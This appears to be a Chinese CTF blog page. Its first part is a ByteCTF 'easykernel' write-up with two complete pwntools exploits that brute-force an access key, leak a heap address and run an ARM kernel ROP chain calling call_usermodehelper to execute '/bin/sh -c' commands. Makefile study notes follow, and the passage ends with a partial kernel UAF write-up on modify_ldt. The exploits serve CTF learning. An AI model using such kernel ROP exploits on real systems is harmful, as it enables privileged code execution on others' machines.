0%

bytectf easykernel 复现

学长出的题,在比赛中由于没有接触过内核socket和arm指令集,然后再加上ida反汇编出来的代码非常抽象,看不清楚逻辑,所以直到比赛结束都没有找见洞在哪里,菜的离谱🤦‍♀️。只能在赛后复现复现这样子了。

漏洞

赛后就向学长要到了源码,看源码的时候发现了一个这个漏洞,可以溢出写,但是管道每次申请到的堆块的偏移不是固定的,所以不好利用,当时没注意到pop的时候不会清除标志位,经过学长提示才注意到,那从这个角度就好利用多了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (len < 0x2000 && cnt && cnt < 0x10)
{
recv(buf, len, csock);
struct block_struct *blk = &bpipe.blks[(bpipe.pos - 1) & 0x0f];
int left = 0x1000 - blk->tail;
if (blk->can_merge && left >= len - 0x1000)
{
blk->tail = 0x2000 - len;
memcpy(blk->blk + blk->tail, buf, left);
push_bpipe_data(buf + (len - 0x1000), 0, 0x1000, 0, PUREDATA_BLK);
reply("[+] create pure data success!\n", strlen("[+] create pure data success!\n"), csock);
bfree(buf);
return;
}
}

利用

就是利用server的0x20选项来塞满管道,这里面就有can_merge=1的管道了,然后在全部pop出来,再push0x10权限,就可以让0x10的的管道的can_merge=1,然后就可以越界读和越界写了。最后写*callback_func指针来完成rop。

可是这是内核socket不像一般的内核题可以传一个程序上去,这该如何rop呢,学长的exp给了一个思路,内核中提供了一个call_usermodehelper函数,允许在内核态执行一个用户态的程序,而且参数接口和用户态的exec()系列函数是一样的,第一个参数是程序名,第二个参数是指针数组,存储着执行这个程序的命令行参数。

所以只要rop能够1控制r0r1然后让pc=call_usermodehelper就好了。

值得注意的是我们要rop就得控制sp,让sp指向我们精心布置的堆块上,这其实直接破坏了程序的上下文,当执行完call_usermodehelper再从栈中寻找上下文恢复到原来调用处就会失败,所以rop首先得保存正常的sp地址,然后再栈迁移,最后再恢复sp

所以对gadget的寻找还是有点苛刻的,我觉得不是很好找,当按着学长的gadget复现完之后,尝试自己在找见一套gadget,最后成功简化了一些学长的gadget。

exp

gadget未简化版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
from pwn import *
context.log_level='debug'
key=''
key_flag=0


for i in range(16):
for j in range(0,64):
tmp_key=key+chr(j)
tmp_key=tmp_key.ljust(0x10,'a')
sh=remote("127.0.0.1",2325)
# sh = process(['./wscat', '--endpoint', 'wss://telnet.2022.capturetheflag.fun/ws/' + CHALLENGE_ID])
sh.recvuntil("[+] has access key?\n")
sh.send(tmp_key)
m=sh.recv(15)
print m
if m == 'auth success!!!':
key_flag=1
key+=chr(j)
sh.close()
break
sh.recv(16)
ture_num=u8(sh.recv(1))
if ture_num-1==i:
key+=chr(j)
break
sh.close()
if key_flag ==1:
break


def server(opt,len=0,context=''):
sh=remote("127.0.0.1",2325)
sh.recvuntil("[+] has access key?\n")
sh.send(key)
sh.recvuntil("server or client ?")
sh.send('\x01')
sh.recvuntil("[+]hello server\n")
sh.send(opt)
if opt=='\x30':
sh.recvuntil("[+]this is puredata\n")
sh.send(p16(len))
sh.send(context)
if opt=='\x10':
sh.recvuntil("[+]say hello\n")
sh.send(p16(len))
sh.send(context)
if opt =='\x20':
sh.recvuntil("[+]do opt func\n")
sh.send(p16(len))
sh.send(context)
sh.close()



def client():
sh=remote('127.0.0.1',2325)
sh.recvuntil("[+] has access key?\n")
sh.send(key)
sh.recvuntil("server or client ?")
sh.send('\x00')
sh.recvuntil("[+]hello client\n")
sh.send('\x10')
sh.recv()
data=sh.recv()
sh.close()
return data


def str_change(payload,str,idx):
return payload[0:idx]+str+payload[idx+len(str):]

def rop(heap,cmd):
payload='\x00'*0x2000
stack=0x1000
save_sp=0x1500
agr=0x1700
sl=0x1800

payload=str_change(payload,"/bin/sh\x00",agr)
payload=str_change(payload,"-c",agr+0x10)
payload=str_change(payload,cmd,agr+0x20)
payload=str_change(payload,p32(heap+agr),agr+0x100)
payload=str_change(payload,p32(heap+agr+0x10),agr+0x100+4)
payload=str_change(payload,p32(heap+agr+0x20),agr+0x100+8)
'''
0x8051ef90: ldr r3, [r0, #400] ; 0x190
0x8051ef94: ldr r2, [r3, #124] ; 0x7c
0x8051ef98: cmp r2, #0
0x8051ef9c: beq 0x8051efb0
0x8051efa0: blx r2
'''
payload=str_change(payload,p32(heap),0x190) #r3
payload=str_change(payload,p32(0x8049dd4c),0x7c) #r2

'''
0x8049dd4c <hvc_push+12> ldr r2, [r0, #0xec]
0x8049dd50 <hvc_push+16> ldr r1, [r0, #0xe4]
0x8049dd54 <hvc_push+20> ldr r3, [r3, #4]
0x8049dd58 <hvc_push+24> ldr r0, [r0, #0xf0]
0x8049dd5c <hvc_push+28> blx r3
'''

payload=str_change(payload,p32(0x802d4d18),0xec) #r2
payload=str_change(payload,p32(heap),0xe4) #r1
payload=str_change(payload,p32(0x80694958),0x4) #r3
payload=str_change(payload,p32(0x80694958),0xf0) #r0

'''
0x80694958 <rpcauth_list_flavors+76> mov r0, sp
0x8069495c <rpcauth_list_flavors+80> blx r2
'''

'''
0x802d4d18 <nfs_pgio_result+8> ldr r3, [r1, #0x3c]
0x802d4d1c <nfs_pgio_result+12> mov r5, r0
0x802d4d20 <nfs_pgio_result+16> ldr r2, [r1]
0x802d4d24 <nfs_pgio_result+20> ldr r3, [r3, #0xc]
0x802d4d28 <nfs_pgio_result+24> blx r3
'''
payload=str_change(payload,p32(heap),0x3c) #r3
payload=str_change(payload,p32(heap+stack),0) # r2
payload=str_change(payload,p32(0x8010c03c),0xc) #r3

'''
0x8010c03c <cpu_suspend_abort+12> mov sp, r2
0x8010c040 <cpu_suspend_abort+16> pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
'''
payload=str_change(payload,p32(save_sp+heap),stack)
payload=str_change(payload,p32(0x8017c0f0),stack+4*8)
'''
0x8017c0f0 <tick_handover_do_timer+76> str r0, [r4]
0x8017c0f4 <tick_handover_do_timer+80> pop {r4, pc}
'''
payload=str_change(payload,p32(0x804282e4),stack+4*10)
'''
0x804282e4 pop {r1, r2, r3}
0x804282e8 sub r0, r0, r1
0x804282ec rsb r0, r0, r2
0x804282f0 pop {r4, pc}
'''
payload=str_change(payload,p32(0),stack+4*11)
payload=str_change(payload,p32(0),stack+4*12)
payload=str_change(payload,p32(0x804282e4),stack+4*13)
payload=str_change(payload,p32(0x8010c020),stack+4*15)
'''
0x8010c020 <__cpu_suspend+96> pop {r0, pc}
'''

payload=str_change(payload,p32(0x80136dec),stack+4*17)

'''
0x80136dec <module_attr_show+32> pop {lr}
0x80136df0 <module_attr_show+36> bx r3
'''
'''
0x804282e4 pop {r1, r2, r3}
0x804282e8 sub r0, r0, r1
0x804282ec rsb r0, r0, r2
0x804282f0 pop {r4, pc}
'''
payload=str_change(payload,p32(0x8010c040),stack+4*19)
payload=str_change(payload,p32(heap+save_sp-0x24),stack+4*22)
payload=str_change(payload,p32(0x8022b754),stack+4*23)

'''
0x8022b754 <dio_complete+120> ldr ip, [r4, #0x24]
0x8022b758 <dio_complete+124> stm sp, {r7, ip}
0x8022b75c <dio_complete+128> blx r1
'''
'''
0x8010c040 <cpu_suspend_abort+16> pop {r4, r5, r6, r7, r8, sb, sl, fp, pc} <0x8010c040>
'''
payload=str_change(payload,p32(heap+sl),stack+4*30)
payload=str_change(payload,p32(0x804282e4),stack+4*32)

'''
0x804282e4 pop {r1, r2, r3} <0x8010c040>
0x804282e8 sub r0, r0, r1
0x804282ec rsb r0, r0, r2
0x804282f0 pop {r4, pc}
'''
payload=str_change(payload,p32(heap+agr+0x100),stack+4*33) #r1
payload=str_change(payload,p32(0x8010c020),stack+4*37) #pc

'''
0x8010c020 <__cpu_suspend+96> pop {r0, pc} <0x8010c020>=
'''
payload=str_change(payload,p32(heap+agr),stack+4*38)
payload=str_change(payload,p32(0x80101524),stack+4*39)
'''
0x80101524 <secondary_startup_arm+100> mov sp, ip
0x80101528 <secondary_startup_arm+104> ldr ip, [sl, #0x10]
0x8010152c <secondary_startup_arm+108> add ip, ip, sl
0x80101530 <secondary_startup_arm+112> mov pc, ip
'''
call_usermodehelper=0x8012f990
offsets=(call_usermodehelper-(heap+sl))&0xffffffff
payload=str_change(payload,p32(offsets),sl+0x10)

return payload

def exp():
for i in range(8):
server('\x20',0x1,'a')

for i in range(8):
client()

server('\x30',0x1,'a')
server('\x10',0x1000,'a'*0x1000)
server('\x30',0x1000,'a'*0x1000)
client()
client()
data=client()
heap=u32(data[7:7+4])
print hex(heap)

cmd='echo hello1 > /tmp/hacked'
payload=rop(heap,cmd)
server('\x10',0x2000,payload)

payload=p32(0x8051ef90)+p32(heap)
payload=payload.ljust(0x1000+0xfff,'c')

server('\x30',0x1ffc,payload)
client()
exp()

简化版

也就简化了20行😢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
from pwn import *
context.log_level='debug'
key=''
key_flag=0


for i in range(16):
for j in range(0,64):
tmp_key=key+chr(j)
tmp_key=tmp_key.ljust(0x10,'a')
sh=remote("127.0.0.1",2325)
# sh = process(['./wscat', '--endpoint', 'wss://telnet.2022.capturetheflag.fun/ws/' + CHALLENGE_ID])
sh.recvuntil("[+] has access key?\n")
sh.send(tmp_key)
m=sh.recv(15)
print m
if m == 'auth success!!!':
key_flag=1
key+=chr(j)
sh.close()
break
sh.recv(16)
ture_num=u8(sh.recv(1))
if ture_num-1==i:
key+=chr(j)
break
sh.close()
if key_flag ==1:
break


def server(opt,len=0,context=''):
sh=remote("127.0.0.1",2325)
sh.recvuntil("[+] has access key?\n")
sh.send(key)
sh.recvuntil("server or client ?")
sh.send('\x01')
sh.recvuntil("[+]hello server\n")
sh.send(opt)
if opt=='\x30':
sh.recvuntil("[+]this is puredata\n")
sh.send(p16(len))
sh.send(context)
if opt=='\x10':
sh.recvuntil("[+]say hello\n")
sh.send(p16(len))
sh.send(context)
if opt =='\x20':
sh.recvuntil("[+]do opt func\n")
sh.send(p16(len))
sh.send(context)
sh.close()



def client():
sh=remote('127.0.0.1',2325)
sh.recvuntil("[+] has access key?\n")
sh.send(key)
sh.recvuntil("server or client ?")
sh.send('\x00')
sh.recvuntil("[+]hello client\n")
sh.send('\x10')
sh.recv()
data=sh.recv()
sh.close()
return data


def str_change(payload,str,idx):
return payload[0:idx]+str+payload[idx+len(str):]

def rop(heap,cmd): # server("\x10",1,'b')
payload='\x00'*0x2000
stack=0x1000
save_sp=0x1500
agr=0x1700
sl=0x1800

payload=str_change(payload,"/bin/sh\x00",agr)
payload=str_change(payload,"-c",agr+0x10)
payload=str_change(payload,cmd,agr+0x20)
payload=str_change(payload,p32(heap+agr),agr+0x100)
payload=str_change(payload,p32(heap+agr+0x10),agr+0x100+4)
payload=str_change(payload,p32(heap+agr+0x20),agr+0x100+8)

'''
0x8051ef90: ldr r3, [r0, #400] ; 0x190
0x8051ef94: ldr r2, [r3, #124] ; 0x7c
0x8051ef98: cmp r2, #0
0x8051ef9c: beq 0x8051efb0
0x8051efa0: blx r2
'''
payload=str_change(payload,p32(heap),0x190) #r3
payload=str_change(payload,p32(0x8049dd4c),0x7c) #r2


'''
0x8049dd4c <hvc_push+12> ldr r2, [r0, #0xec]
0x8049dd50 <hvc_push+16> ldr r1, [r0, #0xe4]
0x8049dd54 <hvc_push+20> ldr r3, [r3, #4]
0x8049dd58 <hvc_push+24> ldr r0, [r0, #0xf0]
0x8049dd5c <hvc_push+28> blx r3
'''

payload=str_change(payload,p32(0x802d4d18),0xec) #r2
payload=str_change(payload,p32(heap),0xe4) #r1
payload=str_change(payload,p32(0x80694958),0x4) #r3
payload=str_change(payload,p32(0x80694958),0xf0) #r0

'''
0x80694958 <rpcauth_list_flavors+76> mov r0, sp
0x8069495c <rpcauth_list_flavors+80> blx r2
'''
'''
0x802d4d18 <nfs_pgio_result+8> ldr r3, [r1, #0x3c]
0x802d4d1c <nfs_pgio_result+12> mov r5, r0
0x802d4d20 <nfs_pgio_result+16> ldr r2, [r1]
0x802d4d24 <nfs_pgio_result+20> ldr r3, [r3, #0xc]
0x802d4d28 <nfs_pgio_result+24> blx r3
'''
payload=str_change(payload,p32(heap),0x3c) #r3
payload=str_change(payload,p32(heap+stack),0) # r2
payload=str_change(payload,p32(0x8010c03c),0xc) #r3

'''
0x8010c03c <cpu_suspend_abort+12> mov sp, r2
0x8010c040 <cpu_suspend_abort+16> pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
'''
payload=str_change(payload,p32(heap+stack+4*20),stack)
payload=str_change(payload,p32(0x8017c0f0),stack+4*8)

'''
0x8017c0f0 <tick_handover_do_timer+76> str r0, [r4]
0x8017c0f4 <tick_handover_do_timer+80> pop {r4, pc}
'''
payload=str_change(payload,p32(0x804282e4),stack+4*10)
'''
0x804282e4 pop {r1, r2, r3}
0x804282e8 sub r0, r0, r1
0x804282ec rsb r0, r0, r2
0x804282f0 pop {r4, pc}
'''
payload=str_change(payload,p32(heap+agr+0x100),stack+4*11)
payload=str_change(payload,p32(0x80427e38),stack+4*13)
payload=str_change(payload,p32(0x8010c020),stack+4*15)
'''
0x8010c020 <__cpu_suspend+96> pop {r0, pc} <0x8010c020>=
'''
payload=str_change(payload,p32(heap+agr),stack+4*16)
payload=str_change(payload,p32(0x80136dec),stack+4*17)

'''
0x80136dec <module_attr_show+32> pop {lr}
0x80136df0 <module_attr_show+36> bx r3
'''
call_usermodehelper=0x8012f990
payload=str_change(payload,p32(call_usermodehelper),stack+4*18)
'''
0x80427e38 <call_with_stack+32>: ldr sp, [sp, #4]
0x80427e3c <call_with_stack+36>: bx lr
'''
return payload

def exp():
for i in range(8):
server('\x20',0x1,'a')

for i in range(8):
client()

server('\x30',0x1,'a')
server('\x10',0x1000,'a'*0x1000)
server('\x30',0x1000,'a'*0x1000)
client()
client()
data=client()
heap=u32(data[7:7+4])
print hex(heap)

cmd='echo hello1 > /tmp/hacked'
payload=rop(heap,cmd)
server('\x10',0x2000,payload)

payload=p32(0x8051ef90)+p32(heap)
payload=payload.ljust(0x1000+0xfff,'c')

server('\x30',0x1ffc,payload)
client()
exp()

总结

对标志控制不严格导致的漏洞类型有了比较深刻的印象,了解学习了arm指令集以及寻找gadget的思路。

Makefile学习

之前只是略有了解,感觉十分方便,所以想深入了解一下。

概念

Makefile是一个规则文件,make是一个程序,在命令行键入make后,make自动找见Makefile来解析其中的规则来完成编译工作。

hello-world

image-20220907185029578

1
2
3
a:
@echo "hello world"
@ls ./
1
2
3
os@os-virtual-machine:~/makefilestudy/1$ make
hello world
Makefile
1
2
3
4
5
6
7
8
9
a:
@echo "hello world"
@ls ./
gcc main.c

clean:
@rm -rf a.out
@echo "a.out del success"

1
2
3
4
5
6
os@os-virtual-machine:~/makefilestudy/1$ make
hello world
main.c Makefile
gcc main.c
os@os-virtual-machine:~/makefilestudy/1$ make clean
a.out del success

image-20220907190203085

编译流程

首先是把各个文件先编译成目标文件,然后再统一把目标文件进行链接,这样做的好处就是当修改了一个文件之后,在执行make并不会把所有文件全部再编译一次,而是只把改动的和改动相关的代码再编译一遍。

1
2
3
4
5
6
7
8
9
10
11
calc:add.o sub.o multi.o
gcc add.o sub.o multi.o calc.cpp -o calc

add.o:add.cpp
gcc -c add.cpp -o add.o

sub.o:sub.cpp
gcc -c sub.cpp -o sub.o

multi.o:multi.cpp
gcc -c multi.cpp -o multi.o

image-20220907194008573

变量使用

image-20220907195303414

可以自定义变量,然后用$(变量名)来使用这个变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
OBJ=add.o sub.o multi.o calc.o
TARGET=calc

$(TARGET):$(OBJ)
gcc $(OBJ) -o $(TARGET)

add.o:add.cpp
gcc -c add.cpp -o add.o

sub.o:sub.cpp
gcc -c sub.cpp -o sub.o

multi.o:multi.cpp
gcc -c multi.cpp -o multi.o

calc.o:calc.cpp
gcc -c calc.cpp -o calc.o

clean:
rm -rf *.o calc

可以使用系统变量更加简化

$^就是所有不重复的依赖文件也就是:后面跟着的内容,$(TARGET)冒号后面是变量OBJ,所以是add.o sub.o multi.o calc.o,$@是目标文件的完整名称,也就是$(TARGET),最后gcc $^ -o $@=gcc add.o sub.o multi.o calc.o -o calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

OBJ=add.o sub.o multi.o calc.o
TARGET=calc

$(TARGET):$(OBJ)
gcc $^ -o $@

add.o:add.cpp
gcc -c $^ -o $@

sub.o:sub.cpp
gcc -c $^ -o $@

multi.o:multi.cpp
gcc -c $^ -o $@

calc.o:calc.cpp
gcc -c $^ -o $@

clean:
rm -rf *.o $(TARGET)

然后还可以使用系统常量来完成跨平台的一些效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
OBJ=add.o sub.o multi.o calc.o
TARGET=calc

$(TARGET):$(OBJ)
$(CXX) $^ -o $@

add.o:add.cpp
$(CXX) -c $^ -o $@

sub.o:sub.cpp
$(CXX) -c $^ -o $@

multi.o:multi.cpp
$(CXX) -c $^ -o $@

calc.o:calc.cpp
$(CXX) -c $^ -o $@

clean:
$(RM) *.o $(TARGET)

伪目标和模式匹配

伪目标

按照我的理解,可能广义上来说目标就是指这个目标的命令执行后最后产生的文件名,一般make clean就是执行clean目标的命令,如果在当前目录下touch了一个clean文件,然后再执行make clean会发现没有执行命令,原因就是make认为clean文件就是目标,已经存在而且没有更新所以不需要执行命令了。

对于这种情况就得声明clean为伪目标了,所以可以看出当当前目标不生成对应文件,而是一种功能目标时就应该把他声明成伪目标。

image-20220907201801523

模式匹配

image-20220907204648885

感觉这个规则还是很方便的,就拿上面的makefile来说,可以修改成下面的样子,makefile就缩短成几行的样子了,至于这条规则的原理,大概就是他会生成第一个目标也就是$(TARGET):$(OBJ),然后发现add.o sub.o multi.o calc.o这些依赖文件都没有生成,然后就会去找生成这些文件的目标,首先是第一个add.o%.o:%.cpp目标就能匹配,然后就会执行这个目标的命令,进而生成add.o,其他所有的目标文件也是这样生成,最后生成calc

通过这个模式匹配,感觉makefile就是一层套一层,然后从最底层往上找,直到最底层的依赖全程都有了,再执行最底层的命令。有点递归那味了。

1
2
3
4
5
6
7
8
9
10
11
OBJ=add.o sub.o multi.o calc.
TARGET=calc

$(TARGET):$(OBJ)
$(CXX) $^ -o $@

%.o:%.cpp
$(CXX) -c $^ -o $@

clean:
$(RM) *.o $(TARGET)

这个makefile还可以利用wildcardpatsubst来增加makefile的泛用性

1
2
3
4
5
6
7
8
9
10
11
12
13
#OBJ= sub.o multi.o calc.o add.o
OBJ=$(patsubst %.cpp,%.o,$(wildcard ./*.cpp))
TARGET=calc

$(TARGET):$(OBJ)
$(CXX) $^ -o $@

%.o:%.cpp
$(CXX) -c $^ -o $@

clean:
$(RM) *.o $(TARGET)

编译动态链接库

感觉。。。没啥。。。。,和makefile关系不大

image-20220907215742516

通用部分做公共头文件

makefile还有自动推导能力,上面的makefile还可以简短到以下几行

1
2
3
4
5
6
7
8
9
10
#OBJ= sub.o multi.o calc.o add.o
OBJ=$(patsubst %.cpp,%.o,$(wildcard ./*.cpp))
TARGET=calc

$(TARGET):$(OBJ)
$(CXX) $^ -o $@

clean:
$(RM) *.o $(TARGET)

makefile还能嵌套makefile,那就可以把通用的内容写在一个makefile中,然后在其他makefile中使用,如下例

1
2
3
4
TARGET=c

include ../makefile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#公共

SOURCE=$(wildcard ./*.cpp ./*.c)
OBJ=$(patsubst %.cpp,%.o,$(SOURCE))
OBJ:=$(patsubst %.c,%.o,$(OBJ))

.PHONY:clean

$(TARGET):$(OBJ)
$(CXX) $^ -o $@

clean:
$(RM) $(TARGET) $(OBJ)

show:
echo $(SOURCE)
echo $(OBJ)

在makefile中都是先解析所有变量然后再执行命令的,所以变量的声明放在哪里都是没有所谓的。

=,赋值操作,把终值赋值给变量,注意不能字节赋值给字节,比如Y=$(Y)

:=也是赋值,但是与=不同的是他不会受到它下面的代码以及变量的影响。

调用shell

在makefile中可以使用ifndef endif来添加默认值

在makefile中可以在目标以外执行shell命令,如下

1
2
3
A=$(shell ls)
a:
echo $(A)

在makefile中还可以调用其他makefile,不是像上面那样的包含,而是调用,因为很有时候不同模块有不同的makefile,要想直接全部就一起编译,可以再写个makefile调用他们,调用规则其实就是shell指令

1
2
a:
make -C ./makefile

image-20220908155748153

条件判断&循环

image-20220908160944829

image-20220908161145932

image-20220908161321317

image-20220908163409283

自定义函数

变量,if,循环和函数都有了,感觉和一门语言都差不多了。

image-20220908163840185

install

image-20220908165302800

例子,把二进制程序放置在一个目录下,然后在/bin目录中放一个二进制程序的软链接,然后就可以在任何目录中调用这个程序了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
TARGET:=006_main
OBJ:=$(TARGET).o

CC:=g++

PATH:=/tmp/006_main/
BIN:=/usr/local/bin/


$(TARGET):$(OBJ)


install:$(TARGET)
if [ -d $(PATH) ];\
then echo $(PATH) exist; \
else \
/bin/mkdir $(PATH);\
/bin/cp $(TARGET) $(PATH);\
/bin/ln -sv $(PATH)$(TARGET) $(BIN);\
fi;

clean:
$(RM) $(TARGET) $(OBJ)
$(RM) -rf $(PATH)


.PHONY:clean install

蓝帽杯半决赛 Smurfs复现

前言

提供了del,add,edit,其中有比较裸的uaf,edit可以编辑前八个字节,但是没有泄露地址的功能,在比赛期间我采用seq_operationsstart指针来控制程序流,kernel的地址随机化只有9位,所以采用硬爆的策略打远程,可惜脸黑,爆了两个小时,到比赛结束还是没有爆出来。虽有一定可行性但是正解肯定不是这样,官方解出来看了看发现非常有含金量,遂复现一波。

相关内核知识学习

进程ldt

虽然题目的利用思路和这个关系不是很大,但看都看了就记录一下。

介绍LDT就不得不介绍GDT了,简而言之,GDT是全局描述符表,而LDT是局部描述符表,在kvm的学习中接触过GDT,但是当时不理解为什么加了这个东西为什么就可以实现保护了,在询问Alex学长一波后终于搞懂,他是怎么实现内存保护以及进程位隔离的了。

image-20220812195333645

一个cpu有一个全局描述符表GDT,GDT相当于一个数组,每一个元素就是一个段描述符,一个段描述符就记录这个段的一些信息,比如段的基地址段的大小之类的,这个数组的地址存储在寄存器GDTR中,然后在段寄存器中就不会记录段的具体信息,而是记录一个段选择子,通过这个段选择子完成对某一个段描述符的索引

img

段选择子包括三部分,描述索引符,TL,RPL,其中描述索引符就是索引段描述符的,TL有两种可能,0代表在GDT中寻找,1代表在LDT中寻找。

LDT是在保护模式下实现进程间隔离的重要的机制,每个LDT都记录一个进程的段的信息,包括cs,ds,ss之类的,也是由段描述符组成的数组,他是一段内存,也可以看做一个段,所以可以在GDT中用一个描述符去记录他,也有一个寄存器LDTR,不过他不是记录LDT的基地址,而是一个选择子,当段寄存器的TL位是1的话,代表就是LDT选择,CPU会根据LDTR作为一个索引去GDT表中找描述符,找见的描述符就是对应一个LDT地址,然后再用对应的段寄存器的index找到对应的段描述符,可见,进程之间的LDTR不一样,他们的LDT就不一样,段寄存器就不一样,进程间就隔离了,比较形象的描述如下如图。

img

img

modify_ldt 系统调用

ldt_struct

该结构体是0x10大小的,然后前八个字节是一个指针,通过uaf我们得到这个结构体,然后通过edit可以控制前八个字节,也就是控制entries指针。

1
2
3
4
5
struct ldt_struct {
struct desc_struct *entries;
unsigned int nr_entries;
int slot;
};

其中 struct desc_struct就是一个段描述符

1
2
3
4
5
6
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

moddify_ldt系统调用

可以通过linux提供的modity_ldt来获取或者修改当前进程的LDT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
return (unsigned int)ret;
}

moddify_ldt系统调用一共提供了四个功能,参数有三个,fun,ptr,bytecount,ptr是我们传入的结构体指针,结构体为user_desc

1
2
3
4
5
6
7
8
9
10
11
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};

read_ldt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
struct mm_struct *mm = current->mm;
unsigned long entries_size;
int retval;

down_read(&mm->context.ldt_usr_sem);

if (!mm->context.ldt) {
retval = 0;
goto out_unlock;
}

if (bytecount > LDT_ENTRY_SIZE * LDT_ENTRIES)
bytecount = LDT_ENTRY_SIZE * LDT_ENTRIES;

entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
if (entries_size > bytecount)
entries_size = bytecount;

if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}

if (entries_size != bytecount) {
/* Zero-fill the rest and pretend we read bytecount bytes. */
if (clear_user(ptr + entries_size, bytecount - entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
}
retval = bytecount;

out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}

函数会使用copy_to_user把ldt->entires的值拷贝到传入的ptr中,就是把这个进程的LDT拷贝到ptr中,如果拷贝不成功,那就会返回-1.我们可以检查返回值判断是否读取成功,也就是可以爆破出heap或者kernel地址。

write_ldt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct ldt_struct *new_ldt, *old_ldt;
unsigned int old_nr_entries, new_nr_entries;
struct user_desc ldt_info;
struct desc_struct ldt;
int error;

error = -EINVAL;
if (bytecount != sizeof(ldt_info))
goto out;
error = -EFAULT;
if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
goto out;

error = -EINVAL;
if (ldt_info.entry_number >= LDT_ENTRIES)
goto out;
if (ldt_info.contents == 3) {
if (oldmode)
goto out;
if (ldt_info.seg_not_present == 0)
goto out;
}

if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
LDT_empty(&ldt_info)) {
/* The user wants to clear the entry. */
memset(&ldt, 0, sizeof(ldt));
} else {
if (!ldt_info.seg_32bit && !allow_16bit_segments()) {
error = -EINVAL;
goto out;
}

fill_ldt(&ldt, &ldt_info);
if (oldmode)
ldt.avl = 0;
}

if (down_write_killable(&mm->context.ldt_usr_sem))
return -EINTR;

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;

if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

new_ldt->entries[ldt_info.entry_number] = ldt;
finalize_ldt_struct(new_ldt);

/*
* If we are using PTI, map the new LDT into the userspace pagetables.
* If there is already an LDT, use the other slot so that other CPUs
* will continue to use the old LDT until install_ldt() switches
* them over to the new LDT.
*/
error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0);
if (error) {
/*
* This only can fail for the first LDT setup. If an LDT is
* already installed then the PTE page is already
* populated. Mop up a half populated page table.
*/
if (!WARN_ON_ONCE(old_ldt))
free_ldt_pgtables(mm);
free_ldt_struct(new_ldt);
goto out_unlock;
}

install_ldt(mm, new_ldt);
unmap_ldt_struct(mm, old_ldt);
free_ldt_struct(old_ldt);
